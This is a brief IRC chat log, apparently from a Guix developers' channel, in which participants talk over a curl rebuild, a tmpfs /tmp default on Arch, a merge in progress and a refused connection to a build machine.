<ng0>but maybe you went into unexplored alleys, so if whatever you do works, write it down.
<pkill9_>hmm actually i don't think it's broken, it was rebuilding my verison of curl for.. reasons
<pkill9_>version*
<cryptocat1094>Hm. Arch's systemd defaults just bit me for an hour of time. -_- Using a tmpfs for /tmp
<civodul>cryptocat1094: were you hitting ENOSPC or something?
<mbakke>civodul: Were you merging something?
<civodul>mbakke: right!
<civodul>i'm had dinner, and now i'm still not done
<civodul>*i
<civodul>lemme resume :-)
<pkill9_>hello guix
<civodul>efraim: i get "Connection refused" from your OverDrive, any idea?